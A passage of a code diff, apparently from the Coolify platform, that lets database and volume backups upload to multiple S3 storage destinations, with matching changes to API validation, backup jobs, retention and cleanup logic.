'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 'timeout', 'missing_backup_notification_days']; + $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 's3_storage_uuids', 'timeout', 'missing_backup_notification_days']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -1189,6 +1234,8 @@ class DatabasesController extends Controller 'enabled' => 'boolean', 'dump_all' => 'boolean', 's3_storage_uuid' => 'string|exists:s3_storages,uuid|nullable', + 's3_storage_uuids' => 'array', + 's3_storage_uuids.*' => 'string|distinct', 'databases_to_backup' => 'string|nullable', 'frequency' => 'string', 'database_backup_retention_amount_locally' => 'integer|min:0', @@ -1236,20 +1283,9 @@ class DatabasesController extends Controller } } - if ($request->boolean('save_s3') && ! $request->filled('s3_storage_uuid')) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid field is required when save_s3 is true.']], - ], 422); - } - if ($request->filled('s3_storage_uuid')) { - $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists(); - if (! $existsInTeam) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], - ], 422); - } + $s3Storages = $this->requestedBackupS3Storages($request, $teamId); + if ($s3Storages instanceof JsonResponse) { + return $s3Storages; } $backupConfig = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->where('database_id', $database->id) @@ -1259,6 +1295,14 @@ class DatabasesController extends Controller return response()->json(['message' => 'Backup config not found.'], 404); } + $saveToS3 = $request->has('save_s3') ? $request->boolean('save_s3') : (bool) $backupConfig->save_s3; + if (($request->boolean('save_s3') && $s3Storages === null) || ($saveToS3 && $s3Storages?->isEmpty())) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid or s3_storage_uuids field is required when save_s3 is true.']], + ], 422); + } + $extraFields = array_diff(array_keys($request->all()), $backupConfigFields, ['backup_now']); if (! empty($extraFields)) { $errors = $validator->errors(); @@ -1272,20 +1316,9 @@ class DatabasesController extends Controller ], 422); } - $backupData = $request->only($backupConfigFields); - - // Convert s3_storage_uuid to s3_storage_id - if (isset($backupData['s3_storage_uuid'])) { - $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first(); - if ($s3Storage) { - $backupData['s3_storage_id'] = $s3Storage->id; - } elseif ($request->boolean('save_s3')) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], - ], 422); - } - unset($backupData['s3_storage_uuid']); + $backupData = Arr::except($request->only($backupConfigFields), ['s3_storage_uuid', 's3_storage_uuids']); + if ($s3Storages !== null) { + $backupData['s3_storage_id'] = $s3Storages->first()?->id; } // Validate databases_to_backup input @@ -1300,7 +1333,19 @@ class DatabasesController extends Controller } } + $storageIds = $s3Storages?->pluck('id'); + // An older client sends only s3_storage_uuid. When it is already a destination, the other destinations stay. + if ($storageIds !== null && ! $request->has('s3_storage_uuids')) { + $currentStorageIds = $backupConfig->selectedS3Storages()->pluck('id'); + if ($currentStorageIds->contains($storageIds->first())) { + $storageIds = $currentStorageIds; + } + } + $backupConfig->update($backupData); + if ($storageIds !== null) { + $backupConfig->syncS3Storages($storageIds->all()); + } if ($request->backup_now) { dispatch(new DatabaseBackupJob($backupConfig)); @@ -2938,9 +2983,10 @@ class DatabasesController extends Controller if ($execution->filename) { deleteBackupsLocally($execution->filename, $database->destination->server); - if ($deleteS3 && $backup->s3) { - deleteBackupsS3($execution->filename, $backup->s3); - } + } + + if ($deleteS3) { + $execution->deleteS3Copies(); } $execution->delete(); @@ -3073,9 +3119,10 @@ class DatabasesController extends Controller if ($execution->filename) { deleteBackupsLocally($execution->filename, $database->destination->server); - if ($deleteS3 && $backup->s3) { - deleteBackupsS3($execution->filename, $backup->s3); - } + } + + if ($deleteS3) { + $execution->deleteS3Copies(); } $execution->delete(); @@ -5195,7 +5242,7 @@ class DatabasesController extends Controller } foreach ($database->scheduledBackups()->get() as $backup) { - $backup->replicate([ + $newBackup = $backup->replicate([ 'id', 'created_at', 'updated_at', @@ -5205,7 +5252,9 @@ class DatabasesController extends Controller 'database_id' => $newDatabase->id, 'database_type' => $newDatabase->getMorphClass(), 'team_id' => $teamId, - ])->save(); + ]); + $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } foreach ($database->environment_variables()->get() as $environmentVariable) { diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 7411f8a472..01f3657434 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -3399,7 +3399,7 @@ class ServicesController extends Controller } foreach ($sourceDatabase->scheduledBackups()->get() as $backup) { - $backup->replicate([ + $newBackup = $backup->replicate([ 'id', 'created_at', 'updated_at', @@ -3408,7 +3408,9 @@ class ServicesController extends Controller 'database_id' => $database->id, 'database_type' => $database->getMorphClass(), 'team_id' => $teamId, - ])->save(); + ]); + $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } } diff --git a/app/Http/Controllers/Api/VolumeBackupsController.php b/app/Http/Controllers/Api/VolumeBackupsController.php index e3b48a367a..a199f530db 100644 --- a/app/Http/Controllers/Api/VolumeBackupsController.php +++ b/app/Http/Controllers/Api/VolumeBackupsController.php @@ -14,6 +14,7 @@ use App\Models\Service; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; +use Illuminate\Support\Collection; use Illuminate\Support\MessageBag; use OpenApi\Attributes as OA; use RuntimeException; @@ -27,7 +28,8 @@ use RuntimeException; new OA\Property(property: 'save_s3', type: 'boolean', default: false), new OA\Property(property: 'disable_local_backup', type: 'boolean', default: false), new OA\Property(property: 'stop_during_backup', type: 'boolean', default: false), - new OA\Property(property: 's3_storage_uuid', type: 'string', nullable: true), + new OA\Property(property: 's3_storage_uuid', type: 'string', nullable: true, description: 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination.'), + new OA\Property(property: 's3_storage_uuids', type: 'array', items: new OA\Items(type: 'string'), description: 'UUIDs of every S3 storage the backup is uploaded to. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination. save_s3 requires at least one destination.'), new OA\Property(property: 'retention_amount_locally', type: 'integer', default: 7, minimum: 0, maximum: 10000), new OA\Property(property: 'retention_days_locally', type: 'integer', default: 0, maximum: 2147483647, minimum: 0), new OA\Property(property: 'retention_max_storage_locally', type: 'number', format: 'float', default: 0, maximum: 9999999999, minimum: 0), @@ -53,7 +55,8 @@ use RuntimeException; new OA\Property(property: 'save_s3', type: 'boolean'), new OA\Property(property: 'disable_local_backup', type: 'boolean'), new OA\Property(property: 'stop_during_backup', type: 'boolean'), - new OA\Property(property: 's3_storage_uuid', type: 'string', nullable: true), + new OA\Property(property: 's3_storage_uuid', type: 'string', nullable: true, description: 'Primary S3 destination.'), + new OA\Property(property: 's3_storage_uuids', type: 'array', items: new OA\Items(type: 'string'), description: 'Every S3 destination, primary first.'), new OA\Property(property: 'retention_amount_locally', type: 'integer'), new OA\Property(property: 'retention_days_locally', type: 'integer'), new OA\Property(property: 'retention_max_storage_locally', type: 'number', format: 'float'), @@ -165,7 +168,7 @@ class VolumeBackupsController extends Controller return response()->json(['message' => 'Storage not found.'], 404); } - ['errors' => $errors, 's3Storage' => $s3Storage, 'saveToS3' => $saveToS3] = $this->validateUpsertRequest($request, $storage, $teamId); + ['errors' => $errors, 's3Storages' => $s3Storages, 'saveToS3' => $saveToS3] = $this->validateUpsertRequest($request, $storage, $teamId); if ($errors->isNotEmpty()) { return response()->json([ @@ -174,11 +177,11 @@ class VolumeBackupsController extends Controller ], 422); } - return $this->persistSchedule($request, $storage, $teamId, $s3Storage, $saveToS3, $resourceType, $resource); + return $this->persistSchedule($request, $storage, $teamId, $s3Storages, $saveToS3, $resourceType, $resource); } /** - * @return array{errors: MessageBag, s3Storage: S3Storage|null, saveToS3: bool} + * @return array{errors: MessageBag, s3Storages: Collection, saveToS3: bool} */ private function validateUpsertRequest( Request $request, @@ -192,6 +195,8 @@ class VolumeBackupsController extends Controller 'disable_local_backup' => 'boolean', 'stop_during_backup' => 'boolean', 's3_storage_uuid' => 'nullable|string', + 's3_storage_uuids' => 'array', + 's3_storage_uuids.*' => 'string|distinct', 'retention_amount_locally' => 'integer|min:0|max:10000', 'retention_days_locally' => 'integer|min:0|max:2147483647', 'retention_max_storage_locally' => 'numeric|min:0|max:9999999999', @@ -209,6 +214,7 @@ class VolumeBackupsController extends Controller 'disable_local_backup', 'stop_during_backup', 's3_storage_uuid', + 's3_storage_uuids', 'retention_amount_locally', 'retention_days_locally', 'retention_max_storage_locally', @@ -232,16 +238,24 @@ class VolumeBackupsController extends Controller $errors->add('disable_local_backup', 'Local backups can only be disabled when S3 backups are enabled.'); } - $s3Storage = null; - if ($saveToS3) { - $s3Storage = S3Storage::query() + $s3Storages = collect(); + if ($saveToS3 && ! $errors->hasAny(['s3_storage_uuid', 's3_storage_uuids', 's3_storage_uuids.*'])) { + $hasList = $request->has('s3_storage_uuids'); + $uuids = collect($hasList ? $request->input('s3_storage_uuids') : [$request->input('s3_storage_uuid')])->filter()->unique()->values(); + $primaryUuid = $request->input('s3_storage_uuid') ?? $uuids->first(); + + $s3Storages = S3Storage::query() ->where('team_id', $teamId) ->where('is_usable', true) - ->where('uuid', $request->input('s3_storage_uuid')) - ->first(); + ->whereIn('uuid', $uuids->all()) + ->get() + ->sortBy(fn (S3Storage $s3Storage): int => $s3Storage->uuid === $primaryUuid ? 0 : 1) + ->values(); - if (! $s3Storage) { - $errors->add('s3_storage_uuid', 'Select a usable S3 storage owned by your team.'); + if ($hasList && filled($primaryUuid) && ! $uuids->contains($primaryUuid)) { + $errors->add('s3_storage_uuid', 'The s3_storage_uuid must be one of the s3_storage_uuids.'); + } elseif ($uuids->isEmpty() || $s3Storages->count() !== $uuids->count()) { + $errors->add($hasList ? 's3_storage_uuids' : 's3_storage_uuid', 'Select a usable S3 storage owned by your team.'); } } @@ -251,7 +265,7 @@ class VolumeBackupsController extends Controller return [ 'errors' => $errors, - 's3Storage' => $s3Storage, + 's3Storages' => $s3Storages, 'saveToS3' => $saveToS3, ]; } @@ -260,7 +274,7 @@ class VolumeBackupsController extends Controller Request $request, LocalPersistentVolume|LocalFileVolume $storage, int|string $teamId, - ?S3Storage $s3Storage, + Collection $s3Storages, bool $saveToS3, string $resourceType, Model $resource, @@ -272,7 +286,7 @@ class VolumeBackupsController extends Controller 'save_s3' => $saveToS3, 'disable_local_backup' => $saveToS3 && $request->boolean('disable_local_backup'), 'stop_during_backup' => $request->boolean('stop_during_backup'), - 's3_storage_id' => $s3Storage?->id, + 's3_storage_id' => $s3Storages->first()?->id, 'retention_amount_locally' => $request->integer('retention_amount_locally', 7), 'retention_days_locally' => $request->integer('retention_days_locally'), 'retention_max_storage_locally' => $request->float('retention_max_storage_locally'), @@ -288,6 +302,7 @@ class VolumeBackupsController extends Controller } $backup = $storage->scheduledBackups()->updateOrCreate([], $attributes); + $backup->syncS3Storages($s3Storages->pluck('id')->all()); $created = $backup->wasRecentlyCreated; auditLog('api.volume_backup.schedule_set', [ @@ -298,7 +313,7 @@ class VolumeBackupsController extends Controller 'backup_uuid' => $backup->uuid, ]); - return response()->json($this->responseData($backup, $storage, $s3Storage, $created), $created ? 201 : 200); + return response()->json($this->responseData($backup, $storage, $s3Storages, $created), $created ? 201 : 200); } #[OA\Delete( @@ -431,7 +446,7 @@ class VolumeBackupsController extends Controller private function responseData( ScheduledVolumeBackup $backup, LocalPersistentVolume|LocalFileVolume $storage, - ?S3Storage $s3Storage, + Collection $s3Storages, bool $created, ): array { return [ @@ -444,7 +459,8 @@ class VolumeBackupsController extends Controller 'save_s3' => $backup->save_s3, 'disable_local_backup' => $backup->disable_local_backup, 'stop_during_backup' => $backup->stop_during_backup, - 's3_storage_uuid' => $s3Storage?->uuid, + 's3_storage_uuid' => $s3Storages->first()?->uuid, + 's3_storage_uuids' => $s3Storages->pluck('uuid')->all(), 'retention_amount_locally' => $backup->retention_amount_locally, 'retention_days_locally' => $backup->retention_days_locally, 'retention_max_storage_locally' => $backup->retention_max_storage_locally, diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 92d24bab3d..eb0959865b 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -83,8 +83,6 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue public ?string $mongo_root_password = null; - public ?S3Storage $s3 = null; - public $timeout = 3600 + self::WORKER_TIMEOUT_MARGIN_SECONDS; public ?string $backup_log_uuid = null; @@ -129,11 +127,9 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $this->database = data_get($this->backup, 'database'); $this->server = $this->database->service->server; - $this->s3 = $this->backup->s3; } else { $this->database = data_get($this->backup, 'database'); $this->server = $this->database->destination->server; - $this->s3 = $this->backup->s3; } if (is_null($this->server)) { throw new \Exception('Server not found?!'); @@ -329,6 +325,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue $this->backup_location = null; $this->backup_output = null; $this->error_output = null; + $this->s3_uploaded = false; // Generate unique UUID for each database backup execution $attempts = 0; @@ -484,10 +481,10 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue $localStorageDeleted = false; if ($this->backup->save_s3 && $localBackupSucceeded) { try { - $this->upload_to_s3(); + $s3UploadError = $this->uploadToS3Destinations(); - // If local backup is disabled, delete the local file immediately after S3 upload - if ($this->backup->disable_local_backup) { + // If local backup is disabled, delete the local file only when every destination has a copy + if ($s3UploadError === null && $this->backup->disable_local_backup) { deleteBackupsLocally($this->backup_location, $this->server); $localStorageDeleted = true; } @@ -843,9 +840,15 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue return devHostDockerPath($this->server, $this->backup_location); } - private function upload_to_s3(): void + /** + * Uploads the backup file to every selected S3 destination and records one replica per destination. + * + * @return string|null The failed destinations and their errors, or null when every upload succeeded. + */ + private function uploadToS3Destinations(): ?string { - if (is_null($this->s3)) { + $storages = $this->backup->selectedS3Storages(); + if ($storages->isEmpty()) { $previousS3StorageId = $this->backup->s3_storage_id; $this->backup->update([ @@ -856,13 +859,43 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($previousS3StorageId ?? 'null').'). S3 backup has been disabled for this schedule.'); } + $failures = []; + foreach ($storages as $storage) { + $uploaded = false; + $uploadError = null; + try { + $this->upload_to_s3($storage); + $uploaded = true; + } catch (Throwable $e) { + $uploadError = $e->getMessage(); + $failures[] = "{$storage->name}: {$uploadError}"; + } + + try { + $this->backup_log->s3Replicas()->create([ + 's3_storage_id' => $storage->id, + 's3_uploaded' => $uploaded, + 'message' => $uploadError, + ]); + } catch (Throwable $e) { + $failures[] = "{$storage->name}: {$e->getMessage()}"; + } + } + + $this->backup_log->refreshS3Summary(); + $this->s3_uploaded = $failures === []; + + return $failures === [] ? null : implode("\n", $failures); + } + + protected function upload_to_s3(S3Storage $s3): void + { try { - $key = $this->s3->key; - $secret = $this->s3->secret; - // $region = $this->s3->region; - $bucket = $this->s3->bucket; - $endpoint = $this->s3->endpoint; - $this->s3->testConnection(shouldSave: true); + $key = $s3->key; + $secret = $s3->secret; + $bucket = $s3->bucket; + $endpoint = $s3->endpoint; + $s3->testConnection(shouldSave: true); if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $network = $this->database->service->destination->network; } else { @@ -883,7 +916,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue $escapedSecret = escapeshellarg($secret); $escapedBackupLocation = escapeshellarg($this->backup_location); $escapedS3Destination = escapeshellarg("temporary/{$bucket}{$this->backup_dir}/"); - $resolveOptions = collect(SafeWebhookUrl::minioClientResolveOptions($endpoint, $this->s3->trustedInternalHosts())) + $resolveOptions = collect(SafeWebhookUrl::minioClientResolveOptions($endpoint, $s3->trustedInternalHosts())) ->map(fn (string $resolveOption): string => '--resolve '.escapeshellarg($resolveOption)) ->implode(' '); $resolveOptions = $resolveOptions === '' ? '' : ' '.$resolveOptions; @@ -892,9 +925,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc cp {$escapedBackupLocation} {$escapedS3Destination}"; instant_remote_process($commands, $this->server, true, false, $this->commandTimeout(), disableMultiplexing: true); - $this->s3_uploaded = true; } catch (Throwable $e) { - $this->s3_uploaded = false; $this->add_to_error_output($e->getMessage()); throw $e; } finally { diff --git a/app/Jobs/VolumeBackupJob.php b/app/Jobs/VolumeBackupJob.php index d635894b09..db226e5675 100644 --- a/app/Jobs/VolumeBackupJob.php +++ b/app/Jobs/VolumeBackupJob.php @@ -4,9 +4,11 @@ namespace App\Jobs; use App\Events\BackupCreated; use App\Models\LocalPersistentVolume; +use App\Models\S3Storage; use App\Models\ScheduledVolumeBackup; use App\Models\ScheduledVolumeBackupExecution; use App\Models\Server; +use App\Models\VolumeBackupS3Replica; use App\Notifications\VolumeBackup\BackupFailed; use App\Notifications\VolumeBackup\BackupSuccess; use App\Rules\SafeWebhookUrl; @@ -16,7 +18,6 @@ use Carbon\Carbon; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; -use Illuminate\Database\Eloquent\Builder; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; @@ -71,16 +72,21 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue throw new \RuntimeException('The storage backup resource, team, or server no longer exists.'); } + $destinations = $this->backup->save_s3 ? $this->backup->selectedS3Storages() : collect(); $this->execution = $this->backup->executions()->create([ - 's3_storage_id' => $this->backup->save_s3 ? $this->backup->s3_storage_id : null, + 's3_storage_id' => $destinations->first()?->id, ]); + foreach ($destinations as $s3) { + $this->execution->s3Replicas()->create(['s3_storage_id' => $s3->id]); + } BackupCreated::dispatch($team->id); $backupDirectory = backup_dir().'/volumes/'.str($team->name)->slug().'-'.$team->id.'/'.$target->uuid; $filename = str($this->backup->targetType())->lower().'-'.str($this->backup->targetName())->slug().'-'.Carbon::now()->timestamp.'.tar.gz'; $backupLocation = $backupDirectory.'/'.$filename; $this->execution->update(['filename' => $backupLocation]); - $streamToS3 = $this->backup->save_s3 && $this->backup->disable_local_backup; + // Streaming writes no local archive, so it can upload to one destination only. + $streamToS3 = $this->backup->disable_local_backup && $destinations->count() === 1; try { $source = $this->backup->sourcePath(); @@ -96,7 +102,7 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue $archiveScript = "compressor=\$({$compressorCommand}); tar -I \"\$compressor\" -cf - -C /volume ."; if ($streamToS3) { $this->execution->update(['local_storage_deleted' => true]); - $archiveCommand = $this->streamToS3Command($archiveScript, $backupLocation, $source, $containerName, $image); + $archiveCommand = $this->streamToS3Command($destinations->first(), $archiveScript, $backupLocation, $source, $containerName, $image); $this->execution->update(['s3_cleanup_pending' => true]); } else { $archiveCommand = 'docker run --rm --name '.escapeshellarg($containerName) @@ -141,24 +147,27 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } $warning = null; - $s3Uploaded = null; + $s3Uploaded = false; $s3CleanupPending = false; $localStorageDeleted = $streamToS3; if ($streamToS3) { $s3Uploaded = true; + $this->execution->s3Replicas()->update(['s3_uploaded' => true]); + $this->execution->refreshS3Summary(); $this->execution->update(['s3_cleanup_pending' => false]); + } elseif ($this->backup->save_s3 && $destinations->isEmpty()) { + $warning = 'S3 upload failed: The selected S3 storage no longer exists.'; } elseif ($this->backup->save_s3) { $s3CleanupPending = true; $this->execution->update(['s3_cleanup_pending' => true]); + $uploadErrors = $this->uploadToDestinations($backupLocation, $backupDirectory, $server); + $s3Uploaded = $uploadErrors === []; - try { - $this->uploadToS3($backupLocation, $backupDirectory, $server); - $s3Uploaded = true; + if ($s3Uploaded) { $s3CleanupPending = false; - } catch (Throwable $exception) { - $s3Uploaded = false; - $warning = 'S3 upload failed: '.$exception->getMessage(); + } else { + $warning = 'S3 upload failed: '.implode(' ', $uploadErrors); try { VolumeBackupRecoveryJob::cleanupS3Upload($this->execution); @@ -184,7 +193,6 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue 'message' => $warning, 'size' => $size, 'filename' => $backupLocation, - 's3_uploaded' => $s3Uploaded, 's3_cleanup_pending' => $s3CleanupPending, 'local_storage_deleted' => $localStorageDeleted, ]); @@ -220,6 +228,8 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } + $this->execution->s3Replicas()->whereNull('s3_uploaded')->update(['s3_uploaded' => false]); + $this->execution->refreshS3Summary(); $s3CleanupPending = $this->execution->fresh()->s3_cleanup_pending; $this->execution->update([ @@ -347,16 +357,37 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } - private function uploadToS3(string $backupLocation, string $backupDirectory, Server $server): void + /** + * Uploads the local archive to every destination of the execution and records the result on each copy. + * + * @return array One error message per failed destination. + */ + private function uploadToDestinations(string $backupLocation, string $backupDirectory, Server $server): array { - $s3 = $this->backup->s3; + $errors = []; - if (! $s3) { - $this->backup->update(['save_s3' => false, 's3_storage_id' => null]); + foreach ($this->execution->s3Replicas()->with('s3')->get() as $replica) { + /** @var VolumeBackupS3Replica $replica */ + try { + if (! $replica->s3) { + throw new \RuntimeException('The selected S3 storage no longer exists.'); + } - throw new \RuntimeException('The selected S3 storage no longer exists. S3 backup has been disabled.'); + $this->uploadToS3($replica->s3, $backupLocation, $backupDirectory, $server); + $replica->update(['s3_uploaded' => true, 'message' => null]); + } catch (Throwable $exception) { + $replica->update(['s3_uploaded' => false, 'message' => $exception->getMessage()]); + $errors[] = ($replica->s3?->name ?? 'Deleted storage').': '.$exception->getMessage(); + } } + $this->execution->refreshS3Summary(); + + return $errors; + } + + private function uploadToS3(S3Storage $s3, string $backupLocation, string $backupDirectory, Server $server): void + { $s3->testConnection(shouldSave: true); $containerName = 'volume-upload-'.$this->execution->uuid; $image = coolifyHelperImage().':'.getHelperVersion(); @@ -385,16 +416,8 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } - private function streamToS3Command(string $archiveScript, string $backupLocation, string $source, string $containerName, string $image): string + private function streamToS3Command(S3Storage $s3, string $archiveScript, string $backupLocation, string $source, string $containerName, string $image): string { - $s3 = $this->backup->s3; - - if (! $s3) { - $this->backup->update(['save_s3' => false, 's3_storage_id' => null]); - - throw new \RuntimeException('The selected S3 storage no longer exists. S3 backup has been disabled.'); - } - $s3->testConnection(shouldSave: true); $resolveOptions = collect(SafeWebhookUrl::minioClientResolveOptions($s3->endpoint, $s3->trustedInternalHosts())) ->map(fn (string $option): string => '--resolve '.escapeshellarg($option)) @@ -462,36 +485,45 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } - if ($this->backup->save_s3 && $this->backup->s3 && $this->hasRetentionLimits( + if ($this->backup->save_s3 && $this->hasRetentionLimits( $this->backup->retention_amount_s3, $this->backup->retention_days_s3, $this->backup->retention_max_storage_s3, )) { + $liveCopies = fn ($query) => $query->where('s3_uploaded', true)->where('s3_storage_deleted', false); $s3Executions = $this->backup->executions() - ->with('s3') + ->with(['s3Replicas' => fn ($query) => $liveCopies($query)->with('s3')]) ->where('status', 'success') - ->where('s3_uploaded', true) - ->where('s3_storage_deleted', false) + ->whereHas('s3Replicas', $liveCopies) ->get(); - $s3Executions = $this->executionsOutsideRetention( - $s3Executions, - $this->backup->retention_amount_s3, - $this->backup->retention_days_s3, - $this->backup->retention_max_storage_s3, - ); - foreach ($s3Executions->groupBy('s3_storage_id') as $executions) { - $s3 = $executions->first()->s3; + // Each destination keeps its own copies within the same retention settings. + foreach ($s3Executions->flatMap->s3Replicas->pluck('s3_storage_id')->unique() as $storageId) { + $executions = $this->executionsOutsideRetention( + $s3Executions->filter(fn (ScheduledVolumeBackupExecution $execution): bool => $execution->s3Replicas->contains('s3_storage_id', $storageId))->values(), + $this->backup->retention_amount_s3, + $this->backup->retention_days_s3, + $this->backup->retention_max_storage_s3, + ); + if ($executions->isEmpty()) { + continue; + } + + $replicas = $executions->map(fn (ScheduledVolumeBackupExecution $execution): VolumeBackupS3Replica => $execution->s3Replicas->firstWhere('s3_storage_id', $storageId)); + $s3 = $replicas->first()->s3; if (! $s3) { - throw new \RuntimeException('The S3 storage used by an existing backup is unavailable.'); + VolumeBackupS3Replica::query()->whereKey($replicas->pluck('id')->all())->update(['s3_storage_deleted' => true]); + $executions->each(fn (ScheduledVolumeBackupExecution $execution) => $execution->refreshS3Summary()); + + continue; } $filenames = $executions->pluck('filename')->filter()->all(); if ($filenames !== []) { deleteBackupsS3($filenames, $s3); - $this->backup->executions()->whereKey($executions->pluck('id')->all()) - ->update(['s3_storage_deleted' => true]); } + VolumeBackupS3Replica::query()->whereKey($replicas->pluck('id')->all())->update(['s3_storage_deleted' => true]); + $executions->each(fn (ScheduledVolumeBackupExecution $execution) => $execution->refreshS3Summary()); } } @@ -499,9 +531,7 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue ->where('local_storage_deleted', true) ->where('stop_recovery_pending', false) ->where('s3_cleanup_pending', false) - ->where(function (Builder $query): void { - $query->where('s3_storage_deleted', true)->orWhereNull('s3_uploaded'); - }) + ->withoutLiveS3Copies() ->delete(); } diff --git a/app/Jobs/VolumeBackupRecoveryJob.php b/app/Jobs/VolumeBackupRecoveryJob.php index cda0fdd046..4965df1379 100644 --- a/app/Jobs/VolumeBackupRecoveryJob.php +++ b/app/Jobs/VolumeBackupRecoveryJob.php @@ -295,12 +295,19 @@ class VolumeBackupRecoveryJob implements ShouldBeEncrypted, ShouldBeUnique, Shou ]); } + /** + * Deletes the partial upload from every destination whose copy did not finish uploading. Every destination is + * tried; the first failure is rethrown afterwards and keeps the cleanup pending. + */ public static function cleanupS3Upload(ScheduledVolumeBackupExecution $execution): void { - $execution->loadMissing('s3'); - $s3 = $execution->s3; + $replicas = $execution->s3Replicas() + ->with('s3') + ->where('s3_storage_deleted', false) + ->where(fn ($query) => $query->whereNull('s3_uploaded')->orWhere('s3_uploaded', false)) + ->get(); - if (! $s3 || blank($execution->filename)) { + if ($replicas->isEmpty() || blank($execution->filename)) { self::skipRecovery( $execution, ['s3_cleanup_pending' => false], @@ -310,11 +317,25 @@ class VolumeBackupRecoveryJob implements ShouldBeEncrypted, ShouldBeUnique, Shou return; } - deleteBackupsS3($execution->filename, $s3); - $execution->update([ - 's3_cleanup_pending' => false, - 's3_storage_deleted' => true, - ]); + $failure = null; + foreach ($replicas as $replica) { + try { + if ($replica->s3) { + deleteBackupsS3($execution->filename, $replica->s3); + } + $replica->update(['s3_storage_deleted' => true]); + } catch (Throwable $exception) { + $failure ??= $exception; + } + } + + $execution->refreshS3Summary(); + + if ($failure) { + throw $failure; + } + + $execution->update(['s3_cleanup_pending' => false]); } /** diff --git a/app/Livewire/Project/Application/Backup/Index.php b/app/Livewire/Project/Application/Backup/Index.php index fe7e2eac5d..7ca097db96 100644 --- a/app/Livewire/Project/Application/Backup/Index.php +++ b/app/Livewire/Project/Application/Backup/Index.php @@ -31,7 +31,7 @@ class Index extends Component public function render(): View { $backups = ScheduledVolumeBackup::query() - ->with(['backupable', 'latestExecution', 's3']) + ->with(['backupable', 'latestExecution', 's3', 's3Storages']) ->withCount('executions') ->forApplication($this->application) ->latest() diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index 8f2ff9af40..b310c248ee 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -279,6 +279,7 @@ class CloneMe extends Component 'team_id' => $teamId, ]); $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } $environmentVaribles = $database->environment_variables()->get(); @@ -469,6 +470,7 @@ class CloneMe extends Component 'team_id' => $teamId, ]); $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } } diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index 59dd1a29c0..a7c49eeb58 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -9,6 +9,7 @@ use App\Models\ServiceDatabase; use App\Models\StandalonePostgresql; use App\Traits\ListensToTeamChannel; use Exception; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Auth; @@ -76,8 +77,9 @@ class BackupEdit extends Component #[Validate(['required', 'boolean'])] public bool $disableLocalBackup = false; - #[Validate(['nullable', 'integer'])] - public ?int $s3StorageId = null; + /** @var array */ + #[Validate(['array'])] + public array $s3StorageIds = []; #[Validate(['nullable', 'string'])] public ?string $databasesToBackup = null; @@ -113,6 +115,10 @@ class BackupEdit extends Component { 